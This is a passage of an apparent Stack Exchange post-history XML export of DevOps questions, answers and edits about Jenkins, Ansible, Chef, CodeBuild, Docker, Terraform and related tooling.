  <row Id="10032" PostHistoryTypeId="2" PostId="3198" RevisionGUID="d8ace564-903b-4c12-9db6-8b707de0770d" CreationDate="2018-01-26T05:06:19.703" UserId="6262" Text="You can use a [Jenkinsfile](https://jenkins.io/doc/book/pipeline/jenkinsfile/) for this. You can add logic  with [groovy](http://groovy-lang.org/) for every condition you've listed above.&#xD;&#xA;&#xD;&#xA;You'll want to use a multi-branch pipeline build for sure, and just write in conditions / switches to determine what you want to do based on the current branch. Jenkins provides a global environment variable for all builds: **BRANCH_NAME**&#xD;&#xA;&#xD;&#xA;The job will run on any branch that contains the Jenkinsfile and you can write conditions in for steps if you  want to include / exclude certain branches. You can use the **when** directive for full-step conditions: https://jenkins.io/doc/book/pipeline/syntax/#when&#xD;&#xA;&#xD;&#xA;For handling credentials: https://jenkins.io/doc/book/pipeline/jenkinsfile/#handling-credentials&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10033" PostHistoryTypeId="5" PostId="2039" RevisionGUID="24a0f80e-0e88-4e14-a457-877749c60cda" CreationDate="2018-01-26T08:40:38.863" UserId="4361" Comment="typo" Text="If your git repos is a private github, you can use [github methods][1] (deploy keys is very powerful).&#xD;&#xA;&#xD;&#xA;If your repos are not hosted on github or they don't provide read-only deploy key feature, The two options you mentioned are both valuable.&#xD;&#xA;&#xD;&#xA;##Single DevOps guy&#xD;&#xA;If you are the only person working on the project and Your machine/machines are the only you will run ansible from (no CD tools like jenkins and friends) you're good to go with the agent forwarding option: is likely less possible that you forget your private key unencrypted around.&#xD;&#xA;&#xD;&#xA;##Small Team&#xD;&#xA;If you are a team of people working on the same Ansible playbook or multiple people that run the playbook then you have both options:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA; - keep the agent-forwarding option; every teammate run the script from his machine.&#xD;&#xA;&#xD;&#xA; -  create a deployer key-pair, upload the pub-key and encrypt the private with vault as suggested by [Berlin][2]. The key is encrypted and the scope of the private key is restricted to only 1 or few repos. The problem with this approach is that you have to rotate the vault password every time a teammate leave the team.&#xD;&#xA;&#xD;&#xA;I would never put my personal private key, which has a wide scope, in any possibly unsafe place. Vault encryption is as good as the people that uses it and there's a lot of keys/passwords in cleartext out there :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.github.com/v3/guides/managing-deploy-keys/&#xD;&#xA;  [2]: https://devops.stackexchange.com/users/342/berlin" ContentLicense="CC BY-SA 3.0" />
  <row Id="10035" PostHistoryTypeId="5" PostId="1538" RevisionGUID="6e2c2cbe-24b3-4467-b0b8-431763f5f43b" CreationDate="2018-01-26T09:16:28.117" UserId="40" Comment="Integrate comments from OPer " Text="I am building an AWS CodePipeline which depends on two source repositories. If the 'CodeBuild' step is specified with multiple Input artifacts, then you get the error: `.. declares 2 input artifacts which is more than the maximum count`. Documentation has a strict requirement for CodeBuild to have only a single input artifact.&#xD;&#xA;&#xD;&#xA;Lambdas, on another hand, do not have this limitation. I've been looking for a way how a Lambda could &quot;merge&quot; two artifacts into a single one which I can pass to the CodeBuild then. Unfortunately, information on this subject is quite limited. &#xD;&#xA;&#xD;&#xA;Does anyone have a working CodePipeline Lambda which would merge two Artifacts into one?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;**Note**: Documentation about [How to access artifacts](http://docs.aws.amazon.com/codepipeline/latest/userguide/actions-invoke-lambda-function.html#how-to-lambda-more-sample).&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/togs2.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="10036" PostHistoryTypeId="4" PostId="3104" RevisionGUID="2ccfeea8-819b-4a1a-81cd-63361ecc4aea" CreationDate="2018-01-26T09:26:29.703" UserId="40" Comment="Improve title" Text="How to safe restart Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10037" PostHistoryTypeId="5" PostId="3076" RevisionGUID="257d0ecb-9c34-4f8a-b367-6c25434cb2e0" CreationDate="2018-01-26T09:28:21.750" UserId="40" Comment="remove noise" Text="I'll put in an answer although I'm not 100% sure. I think that you got the permissions wrong on `~/.ssh` and it should be `0700` instead of `0600`, otherwise the user cannot access it.&#xD;&#xA;&#xD;&#xA;Another tip which is unrelated to your problem, the `user` resource has a property `manage_home` (https://docs.chef.io/resource_user.html#properties) which will create the home directory for you and will you save a redundant resource." ContentLicense="CC BY-SA 3.0" />
  <row Id="10038" PostHistoryTypeId="5" PostId="3075" RevisionGUID="9225e5b1-3210-4d1d-90d7-937dbbadb3b4" CreationDate="2018-01-26T09:30:34.530" UserId="40" Comment="added 4 characters in body; edited title" Text="I've spun many boxes in the cloud before, but was growing tired of going through the same dance; and as I'm trying to get familiar with Chef, I figured, that's a good use case to do a little learning.&#xD;&#xA;&#xD;&#xA;Ah, that feeling when you think you know how it'll work - but it doesn't. Since I'm new to Chef, I suspect I'm not doing something right in this recipe, which is like my 2nd ever. NOTE: I understand there probably are 'cookbooks' out there that do something like that, but at this point I'm trying to build some ver basic knowledge with the simplest approach.&#xD;&#xA;&#xD;&#xA;    user 'foox' do&#xD;&#xA;      comment 'test me'&#xD;&#xA;      uid '6711'&#xD;&#xA;      home '/home/foox'&#xD;&#xA;      shell '/bin/bash'&#xD;&#xA;      password '&lt;password_shadow_here&gt;'&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    directory &quot;/home/foox&quot; do&#xD;&#xA;      owner &quot;foox&quot;&#xD;&#xA;      group &quot;foox&quot;&#xD;&#xA;      mode 00755&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    directory &quot;/home/foox/.ssh&quot; do&#xD;&#xA;      owner &quot;foox&quot;&#xD;&#xA;      group &quot;foox&quot;&#xD;&#xA;      mode 00600&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;    &#xD;&#xA;    file '/home/foox/.ssh/authorized_keys' do&#xD;&#xA;      owner &quot;foox&quot;&#xD;&#xA;      group &quot;foox&quot;&#xD;&#xA;      mode &quot;00600&quot;&#xD;&#xA;      content IO.read('/root/.ssh/authorized_keys')&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;Now, this does create the user with a password and home folder with .ssh, and copies the public key from root's own file. But this system ends up failing to let me log in -- `Permission denied (publickey)` -- when using the same private key as what I have as my root's. But, well, root user wasn't created by my recipe. And if I create my own user manually, it's working fine.&#xD;&#xA;&#xD;&#xA;I guess there's something missing in my recipe, then?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10039" PostHistoryTypeId="4" PostId="3075" RevisionGUID="9225e5b1-3210-4d1d-90d7-937dbbadb3b4" CreationDate="2018-01-26T09:30:34.530" UserId="40" Comment="added 4 characters in body; edited title" Text="What's missing from this simple recipe that creates a user?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10040" PostHistoryTypeId="2" PostId="3199" RevisionGUID="1e5539ff-115b-453c-a16e-e1e876f33f51" CreationDate="2018-01-26T12:24:15.283" UserId="4175" Text="As far as I can tell, reading the OpenShift documentation, including https://github.com/openshift/training/, the officially published &quot;standard&quot; way to manage OpenShift configuration (about their objects like services, build config etc.) is to simply use `oc` or the web console and &quot;do it&quot;. They do not seem to document/suggest a standard way to keep this configuration, i.e. the YAML or JSON representation that you see in the web console or in `oc edit` in, say, a git repository.&#xD;&#xA;&#xD;&#xA;Would you say that most projects (that you witnessed or know about) work this way, i.e., just keeping the config inside OpenShift? Or are there established standards, to have this outside of OpenShift itself?&#xD;&#xA;&#xD;&#xA;I noticed that there is a 3rd party OpenShift ansible module on github, but am not quite sure how proven/established that is.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10041" PostHistoryTypeId="1" PostId="3199" RevisionGUID="1e5539ff-115b-453c-a16e-e1e876f33f51" CreationDate="2018-01-26T12:24:15.283" UserId="4175" Text="OpenShift configuration management" ContentLicense="CC BY-SA 3.0" />
  <row Id="10042" PostHistoryTypeId="3" PostId="3199" RevisionGUID="1e5539ff-115b-453c-a16e-e1e876f33f51" CreationDate="2018-01-26T12:24:15.283" UserId="4175" Text="&lt;configuration-management&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10043" PostHistoryTypeId="2" PostId="3200" RevisionGUID="22f1f4b2-722c-4580-ae99-e769d763dc9f" CreationDate="2018-01-26T13:15:55.460" UserId="6268" Text="I have an app where we allow users to create videos by choosing an AE template and modifying the text, images, etc.&#xD;&#xA;We run AE on a windows server which renders the final video.&#xD;&#xA;&#xD;&#xA;For other scenarios where we do not use AE, we use AWS Lambda of which we can spin off 100 instances simultaneously and they all use their own resources. Whereas for AE we use a Windows server and all parallel rendering use the same resources and hence very slow.&#xD;&#xA;&#xD;&#xA;Are there any PaaS where I can run AE and spin up multiple instances?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10044" PostHistoryTypeId="1" PostId="3200" RevisionGUID="22f1f4b2-722c-4580-ae99-e769d763dc9f" CreationDate="2018-01-26T13:15:55.460" UserId="6268" Text="What is the best Windows Infrastructure to run Adobe After Effects like AWS Lambda?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10045" PostHistoryTypeId="3" PostId="3200" RevisionGUID="22f1f4b2-722c-4580-ae99-e769d763dc9f" CreationDate="2018-01-26T13:15:55.460" UserId="6268" Text="&lt;azure&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10046" PostHistoryTypeId="2" PostId="3201" RevisionGUID="46836c8e-b201-4139-a3c7-4d8d18f1b6bc" CreationDate="2018-01-26T13:16:11.460" UserId="2285" Text="AFAIK neither OpenShift nor Kubernetes itself allow you to externalize services configuration. You should have a bunch of yml/json files somewhere and control their deployment/configuration using CLI tools.&#xD;&#xA;&#xD;&#xA;But there is Rancher which in version 2.0 allow us to import external Kubernetes clusters and manage them as Rancher's own environments. &#xD;&#xA;&#xD;&#xA;Description of how this could be done with Rancher you can find [here][1].&#xD;&#xA;&#xD;&#xA;**FYI:** Rancher 2.0 is slowly moving to Beta so it might take time for you to use it in your activities.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/3057/2285" ContentLicense="CC BY-SA 3.0" />
  <row Id="10047" PostHistoryTypeId="2" PostId="3202" RevisionGUID="43fccb34-5bb4-4ff6-93b1-c94282c28b72" CreationDate="2018-01-26T13:51:39.543" UserId="3498" Text="I have actually solved the problem by cloning repository directly in codeubild:&#xD;&#xA;&#xD;&#xA;Pass GitHub token:&#xD;&#xA;&#xD;&#xA;          - { Name: GITHUB_TOKEN, Value: {Ref: GitHubToken } }&#xD;&#xA;          - { Name: GITHUB_BRANCH, Value: {Ref: GitHubBranch } }&#xD;&#xA;&#xD;&#xA;#&#xD;&#xA;Execute git clone in install step:&#xD;&#xA;&#xD;&#xA;          - git clone --single-branch --depth=1 -b $GITHUB_BRANCH https://gitorgname:$GITHUB_TOKEN@github.com/gitorgname/reponame.git  src/reponame&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I found that this solution is easier to implement, does not rely on Lambdas and even though performs two pulls, works quite reliably." ContentLicense="CC BY-SA 3.0" />
  <row Id="10048" PostHistoryTypeId="5" PostId="3196" RevisionGUID="f00ba67d-d07a-47e3-a5f6-cc7313419899" CreationDate="2018-01-26T14:37:43.340" UserId="6261" Comment="added 844 characters in body" Text="Here's my Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM php:5-fpm&#xD;&#xA;    &#xD;&#xA;    RUN apt-get update&#xD;&#xA;    RUN apt-get install -y php5-mysql&#xD;&#xA;    RUN apt-get install -y php5-xdebug&#xD;&#xA;    RUN apt-get install -y php5-mcrypt&#xD;&#xA;    RUN apt-get install -y php5-gd&#xD;&#xA;&#xD;&#xA;When I run from Docker for Mac everything works great. But from my Linux machine I get:&#xD;&#xA;&#xD;&#xA;    E: Package 'php5-mysql' has no installation candidate&#xD;&#xA;    The command '/bin/sh -c apt-get install -y php5-mysql' returned a non-zero code: 100&#xD;&#xA;&#xD;&#xA;Shouldn't these behave the same?&#xD;&#xA;&#xD;&#xA;**UPDATE 1**&#xD;&#xA;&#xD;&#xA;Thanks to @caylorme for recommending I check the base image on both hosts. They are indeed different image ids.&#xD;&#xA;&#xD;&#xA;On the Linux host:&#xD;&#xA;&#xD;&#xA;    $ sudo docker images php&#xD;&#xA;    REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    php                 5-fpm               9b179c4d385e        7 days ago          367MB&#xD;&#xA;&#xD;&#xA;On the Mac host:&#xD;&#xA;&#xD;&#xA;    $ docker images php&#xD;&#xA;    REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE&#xD;&#xA;    php                 5-fpm               707631468b8b        11 months ago       362MB&#xD;&#xA;&#xD;&#xA;But how is that possible? I had assumed (wrongly I guess) that Docker image tags are immutable so you could guarantee reproducibility and rebuild/run on any Docker host. What can I do get the image that's on my Mac host on the Linux host?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10049" PostHistoryTypeId="5" PostId="3188" RevisionGUID="681dfae9-7762-40d6-a053-09db228350a8" CreationDate="2018-01-26T14:52:39.347" UserId="4328" Comment="added 568 characters in body" Text="I think a key difference between Terraform Modules and Workspaces is that modules can be inherited and used by other modules and configurations. Terraform Workspaces are intended to be a collection of configurations that represent a single environment, whereas Modules are components that can be utilized by one or more modules/configurations. I think you could use Modules in a similar way to how you are using Workspaces, but you would be contradicting the intent of the Modules. &#xD;&#xA;&#xD;&#xA;For example, say that you want to create a base configuration file for all your company's EC2 instances that allows traffic over SSH. You would create a module (my that spins up a VM, modifies your firewall to allow SSH, and any other configuration settings that you would want all of your instances to have. You would then have every VM Terraform config inherit this file. This would minimize the amount of code that you would have to write and allow for any changes that you would want across all of your infrastructure configs to be made in one central module. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10050" PostHistoryTypeId="5" PostId="3202" RevisionGUID="258c4d3f-28fa-4160-bd1d-1f7212cc14fa" CreationDate="2018-01-26T15:06:55.530" UserId="47" Comment="fixed typo" Text="I have actually solved the problem by cloning repository directly in codebuild:&#xD;&#xA;&#xD;&#xA;Pass GitHub token:&#xD;&#xA;&#xD;&#xA;          - { Name: GITHUB_TOKEN, Value: {Ref: GitHubToken } }&#xD;&#xA;          - { Name: GITHUB_BRANCH, Value: {Ref: GitHubBranch } }&#xD;&#xA;&#xD;&#xA;#&#xD;&#xA;Execute git clone in install step:&#xD;&#xA;&#xD;&#xA;          - git clone --single-branch --depth=1 -b $GITHUB_BRANCH https://gitorgname:$GITHUB_TOKEN@github.com/gitorgname/reponame.git  src/reponame&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I found that this solution is easier to implement, does not rely on Lambdas and even though performs two pulls, works quite reliably." ContentLicense="CC BY-SA 3.0" />
  <row Id="10051" PostHistoryTypeId="5" PostId="3188" RevisionGUID="e45b3093-41ce-4f83-b019-df8c3e8cf2b9" CreationDate="2018-01-26T15:23:49.823" UserId="4328" Comment="clarity" Text="I think a key difference between Terraform Modules and Workspaces is that modules can be inherited and used by other modules and configurations. Terraform Workspaces are intended to be a collection of configurations that represent a single environment, whereas Modules are components that can be utilized by one or more modules/configurations. I think you could use Modules in a similar way to how you are using Workspaces, but you would be contradicting the intent of the Modules. &#xD;&#xA;&#xD;&#xA;For example, say that you want to create a base configuration file for all your company's EC2 instances that allows traffic over SSH. You would create a module that spins up a VM, modifies your firewall to allow SSH, and any other configuration settings that you would want all of your instances to have. You would then have every VM Terraform config inherit this file. This would minimize the amount of code that you would have to write and allow for any changes that you would want across all of your TF configs to be made in one central module. " ContentLicense="CC BY-SA 3.0" />
  <row Id="10052" PostHistoryTypeId="2" PostId="3203" RevisionGUID="1053932b-cacb-4397-b3ac-a8cc9c11be8c" CreationDate="2018-01-26T16:24:02.507" UserId="47" Text="In general a PaaS solution runs the application code on top of a provider-supplied sandbox infrastructure which complements your app code so that together they implement the complete app functionality. But this puts specific requirements, often quite restrictive, in front of the application code, for example:&#xD;&#xA;&#xD;&#xA;- a limited choice of (typically high-level) programming languages&#xD;&#xA;- certain pieces of mandatory functionality in your app code (like health checks, etc)&#xD;&#xA;- certain limitations of what the app can do (for example not allowing writes to the local filesystem)&#xD;&#xA;&#xD;&#xA;So when looking for a PaaS solution you need to be looking from both the app prospective and the sandbox prospective.&#xD;&#xA;&#xD;&#xA;Now your case brings additional requirements to the game: &#xD;&#xA;&#xD;&#xA;- running a 3rd party app which you cannot modify, so you need to find a PaaS offering whose requirements are met with the application as-is, unmodified&#xD;&#xA;- a Windows-based sandbox - rare, most providers use open-source infrastructure, I suspect primarily because of the licensing terms. Your highest chance of finding such offering would be on Azure, but not necessarily the only one&#xD;&#xA;- AE licensing terms - how many AE instances can you run?&#xD;&#xA;&#xD;&#xA;Due to the extra requirement on the sandbox a IaaS solution would be, IMHO, a better fit for your case (you're actually using it presently, maybe just scaling it would be a much simpler solution for you?).&#xD;&#xA;&#xD;&#xA;AFAIK the only offering (outside of Azure, with which I'm not familiar) that comes very close to a IaaS but still is, in a way, a PaaS is [Google App Engine Flexible Environment][1]:&#xD;&#xA;&#xD;&#xA;- meeting the app requirements *might* be possible by actually writing an app implementing a rendering service which uses AE under the hood, as a dependency&#xD;&#xA;- it supports (docker-based) [custom runtimes][2], you *might* be able to build one with AE/Windows (maybe [how it's done for `ASP.NET` apps][3] would help) &#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/appengine/docs/flexible/&#xD;&#xA;  [2]: https://cloud.google.com/appengine/docs/flexible/custom-runtimes/build&#xD;&#xA;  [3]: https://cloudplatform.googleblog.com/2016/10/how-to-use-Docker-to-run-ASP.NET-Core-apps-on-Google-App-Engine.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10053" PostHistoryTypeId="6" PostId="3200" RevisionGUID="cd39c59f-2d58-4e6e-8c0c-13f2dd3ff3db" CreationDate="2018-01-26T16:24:42.887" UserId="47" Comment="edited tags; edited tags" Text="&lt;azure&gt;&lt;aws-lambda&gt;&lt;platform-as-a-service&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10054" PostHistoryTypeId="5" PostId="3203" RevisionGUID="c6b5dcf5-6fd4-4510-9340-5a4724255b18" CreationDate="2018-01-26T16:29:51.253" UserId="47" Comment="added 128 characters in body" Text="In general a [tag:platform-as-a-service] solution runs the application code on top of a provider-supplied sandbox infrastructure which complements your app code so that together they implement the complete app functionality. But this puts specific requirements, often quite restrictive, in front of the application code, for example:&#xD;&#xA;&#xD;&#xA;- a limited choice of (typically high-level) programming languages&#xD;&#xA;- certain pieces of mandatory functionality in your app code (like health checks, etc)&#xD;&#xA;- certain limitations of what the app can do (for example not allowing writes to the local filesystem)&#xD;&#xA;&#xD;&#xA;So when looking for a [tag:platform-as-a-service] solution you need to be looking from both the app prospective and the sandbox prospective.&#xD;&#xA;&#xD;&#xA;Now your case brings additional requirements to the game: &#xD;&#xA;&#xD;&#xA;- running a 3rd party app which you cannot modify, so you need to find a PaaS offering whose requirements are met with the application as-is, unmodified&#xD;&#xA;- a Windows-based sandbox - rare, most providers use open-source infrastructure, I suspect primarily because of the licensing terms. Your highest chance of finding such offering would be on Azure, but not necessarily the only one&#xD;&#xA;- AE licensing terms - how many AE instances can you run?&#xD;&#xA;&#xD;&#xA;Due to the extra requirement on the sandbox a [tag:infrastructure-as-a-service] solution would be, IMHO, a better fit for your case (you're actually using it presently, maybe just scaling it would be a much simpler solution for you?).&#xD;&#xA;&#xD;&#xA;AFAIK the only offering (outside of Azure, with which I'm not familiar) that comes very close to an [tag:infrastructure-as-a-service] but still is, in a way, a [tag:platform-as-a-service] is [Google App Engine Flexible Environment][1]:&#xD;&#xA;&#xD;&#xA;- meeting the app requirements *might* be possible by actually writing an app implementing a rendering service which uses AE under the hood, as a dependency&#xD;&#xA;- it supports (docker-based) [custom runtimes][2], you *might* be able to build one with AE/Windows (maybe [how it's done for `ASP.NET` apps][3] would help) &#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/appengine/docs/flexible/&#xD;&#xA;  [2]: https://cloud.google.com/appengine/docs/flexible/custom-runtimes/build&#xD;&#xA;  [3]: https://cloudplatform.googleblog.com/2016/10/how-to-use-Docker-to-run-ASP.NET-Core-apps-on-Google-App-Engine.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10055" PostHistoryTypeId="6" PostId="3135" RevisionGUID="ec723c96-5f10-4436-9760-2166340f2e6a" CreationDate="2018-01-26T16:33:44.800" UserId="47" Comment="edited tags" Text="&lt;terminology&gt;&lt;software-as-a-service&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10056" PostHistoryTypeId="6" PostId="2455" RevisionGUID="fe55f419-3c5d-4db2-9601-ab74dd63026d" CreationDate="2018-01-26T16:34:45.840" UserId="47" Comment="edited tags" Text="&lt;hashicorp-vault&gt;&lt;software-as-a-service&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10057" PostHistoryTypeId="6" PostId="1290" RevisionGUID="415b4765-b4b9-46d3-9fa8-07ed014bae09" CreationDate="2018-01-26T16:37:07.240" UserId="47" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;ios&gt;&lt;software-as-a-service&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10058" PostHistoryTypeId="2" PostId="3204" RevisionGUID="632ec634-ee7c-4a3b-9c52-1ef8ed5a624e" CreationDate="2018-01-26T16:50:32.010" UserId="5716" Text="Thanks for your conclusion, it fits in mine too. &#xD;&#xA;&#xD;&#xA;In my situation, I have projects of different types like pure Java, .NET and some packaged in Docker. For the moment, the number of jobs to build is not consequent but I'm afraid about some jobs creation peak for specific project before a major release for example... &#xD;&#xA;&#xD;&#xA;I only configured shared runner with tags (dotnet, java, docker,...) and the project specifies the correct tag in their .gitlab-ci.yml :&#xD;&#xA;&#xD;&#xA;    job:&#xD;&#xA;     tags:&#xD;&#xA;      - java&#xD;&#xA;&#xD;&#xA;If I detect/anticipate a peak of job creation, I can [assign][1] temporary a runner to a project. Of course the peak detection and the lock/unlock can be automatized with [Runner API][2] but it's not my case for the moment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/runners/README.html#locking-a-specific-runner-from-being-enabled-for-other-projects&#xD;&#xA;  [2]: https://docs.gitlab.com/ce/api/runners.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10059" PostHistoryTypeId="5" PostId="3109" RevisionGUID="04fda468-aeb2-4de4-b904-03a85a3de824" CreationDate="2018-01-26T18:49:53.793" UserId="6131" Comment="Add steps to add AdmistratorAccess Policy" Text="To create (and assign) IAM roles and permissions that user needs to have Administrator level rights within the AWS Account. You can search `admin` in `Attach existing policies directly` window in the Add permissions to &lt;&lt; user name &gt;&gt;` of the IAM Module accessible via the Console.&#xD;&#xA;&#xD;&#xA;From there look at the different levels of Administrator accounts offered by default and you can further look at the JSON provided examples to better understand the specific access rights you could begin to assign to lock down the user to only specific functions.&#xD;&#xA;&#xD;&#xA;Edit 2018-01-26&#xD;&#xA;From the AWS Console Page:&#xD;&#xA;- Click Services, type in IAM&#xD;&#xA;- From the IAM Console Click Users&#xD;&#xA;- Select the user then via the Permissions Tab, Click Add Permissions&#xD;&#xA;- Locate &quot;AdministratorAccess&quot;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10060" PostHistoryTypeId="2" PostId="3205" RevisionGUID="503bce67-fd80-4997-a72f-8a377a0e0611" CreationDate="2018-01-26T20:05:46.693" UserId="6273" Text="I am trying to figure out the correct way to do my pipeline.  Am I supposed to zip my code in Jenkins with maybe the File Operation plugin and then upload it to my private Nexus repository?  I don't send all kinds of files to Nexus and do something there do I?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10061" PostHistoryTypeId="1" PostId="3205" RevisionGUID="503bce67-fd80-4997-a72f-8a377a0e0611" CreationDate="2018-01-26T20:05:46.693" UserId="6273" Text="Is zipping a file supposed to happen in Jenkins or on Nexus?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10062" PostHistoryTypeId="3" PostId="3205" RevisionGUID="503bce67-fd80-4997-a72f-8a377a0e0611" CreationDate="2018-01-26T20:05:46.693" UserId="6273" Text="&lt;jenkins&gt;&lt;artifacts&gt;&lt;nexus&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10063" PostHistoryTypeId="2" PostId="3206" RevisionGUID="0456a669-37f5-4023-80d9-77004b6df365" CreationDate="2018-01-26T21:58:20.187" UserId="4328" Text="If you are building these artifacts for a release/deploy, you will want them to be in as ready to release of a package as possible. If that is as a .zip, then yes you should create the .zip on the Jenkins server, then upload to Nexus. Your deploy system will then download, decompress, and manipulate the artifact as seen fit. In general, I would only use the node running Nexus to store artifacts and not execute any &quot;build-like&quot; processes. That is exactly what Jenkins was made for :)" ContentLicense="CC BY-SA 3.0" />
  <row Id="10064" PostHistoryTypeId="5" PostId="3181" RevisionGUID="c076cb62-974f-4223-a713-6644b1624082" CreationDate="2018-01-26T22:47:10.330" UserId="960" Comment="copy-editing" Text="I currently use Terraform workspaces to configure different environments like dev, test, prod, and my code works fine. And I believe I can use workspaces to configure different regions as well. &#xD;&#xA;&#xD;&#xA;However, I think Terraform modules can do the same thing, right?&#xD;&#xA;&#xD;&#xA;If that's so, when should I use workspaces and when should I use modules? Or they are doing a similar thing in different ways?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10065" PostHistoryTypeId="4" PostId="3181" RevisionGUID="c076cb62-974f-4223-a713-6644b1624082" CreationDate="2018-01-26T22:47:10.330" UserId="960" Comment="copy-editing" Text="What is the difference between modules and workspaces in Terraform" ContentLicense="CC BY-SA 3.0" />
  <row Id="10066" PostHistoryTypeId="2" PostId="3207" RevisionGUID="40d8f8f4-eb2b-4761-8c2c-2f80427b9a75" CreationDate="2018-01-26T23:10:38.100" UserId="960" Text="The most elegant way would be to use dynamic inventory, rather than static inventory and dynamic group variables.&#xD;&#xA;&#xD;&#xA;However, if for some reason you don't want to do that, one other option is to use [custom facts](https://medium.com/@jezhalford/ansible-custom-facts-1e1d1bf65db8); these are scripts that live in `/etc/ansible/facts.d` on the client machines.  Like dynamic inventory, they be executable scripts (and therefore, query redis or whatever else), but in this case they define variables just for that particular host.  This isn't *quite* what you were looking for, since you'd have to query the database on each individual server instead of once for the entire group, but it can have a similar effect." ContentLicense="CC BY-SA 3.0" />
  <row Id="10067" PostHistoryTypeId="2" PostId="3208" RevisionGUID="d09e2d78-f887-422c-aa47-6be1d0a1c121" CreationDate="2018-01-26T23:14:14.493" UserId="960" Text="`kubectl cp` by default does recursive copies when given a directory, although it seems to be picky about trailing slashes.  If `foo` is the directory you'd like to copy, simply run&#xD;&#xA;&#xD;&#xA;    kubectl cp /path/to/foo &lt;pod-id&gt;:/path/in/container/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10068" PostHistoryTypeId="2" PostId="3209" RevisionGUID="3eb50775-aa98-4832-973f-de2105105be5" CreationDate="2018-01-26T23:26:26.700" UserId="960" Text="Here is the direct Ansible translation of your bash install script:&#xD;&#xA;&#xD;&#xA;    - apt_repository:&#xD;&#xA;        repo: 'ppa:certbot/certbot'&#xD;&#xA;&#xD;&#xA;    - apt:&#xD;&#xA;        name: &quot;{{ item }}&quot;&#xD;&#xA;        update_cache: yes&#xD;&#xA;      with_items:&#xD;&#xA;        - nginx&#xD;&#xA;        - python-certbox-nginx" ContentLicense="CC BY-SA 3.0" />
  <row Id="10069" PostHistoryTypeId="2" PostId="3210" RevisionGUID="50835400-f945-4d8c-946c-34fbfd69e26b" CreationDate="2018-01-26T23:33:12.867" UserId="960" Text="&gt; What does using a time series data store mean for CI?&#xD;&#xA;&#xD;&#xA;Nothing in the context of that job description.  CI and time series databases are separate entries in the list.  To put it another way:&#xD;&#xA;&#xD;&#xA;    infrastructure_pieces = [&#xD;&#xA;        'CI servers',&#xD;&#xA;        'push button deploys',&#xD;&#xA;        'time series data stores',&#xD;&#xA;        'metrics dashboards',&#xD;&#xA;        'centralized logging',&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;    for infrastructure_piece in infrastructure_pieces:&#xD;&#xA;        assert(candidate.important_of(infrastructure_piece) == 'CRITICAL')&#xD;&#xA;&#xD;&#xA;That is, the job involves maintaining CI, but it also involves monitoring production servers and applications using TSDBs, and various other activities." ContentLicense="CC BY-SA 3.0" />
  <row Id="10070" PostHistoryTypeId="4" PostId="3155" RevisionGUID="76472f42-8295-484d-8e21-1461a6c30dcc" CreationDate="2018-01-27T01:59:09.937" UserId="6201" Comment="edited title" Text="How to install Certbot via Ansible playbook?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10072" PostHistoryTypeId="50" PostId="1931" RevisionGUID="0ab54eb2-b1aa-43a0-b673-3b49b6e48e95" CreationDate="2018-01-27T14:48:56.490" UserId="-1" />
  <row Id="10073" PostHistoryTypeId="2" PostId="3211" RevisionGUID="6d88cfdc-84ed-43a6-8169-098cd4ecdab6" CreationDate="2018-01-27T16:34:25.400" UserId="5879" Text="This is an open-ended question, which is why the following answer is an opinion.&#xD;&#xA;&#xD;&#xA;The focus of QA (quality assurance) in the DevOps field is to monitor the deployment metrics to ensure that faults are caught before they can manifest. The most direct metrics of application health include application availability and errors. These can be directly extracted from error logs and automated monitoring of served web pages (that status code 200 or the login form are always returned).&#xD;&#xA;&#xD;&#xA;The next level allows you to anticipate errors, bottlenecks and resource usage. This is very deployment specific. In some cases you may have a micro service that receives a high load or in others a single page may make several database queries. Monitoring your servers' CPU load and memory usage can also be used as metrics. These may act as key indicators to your applications' 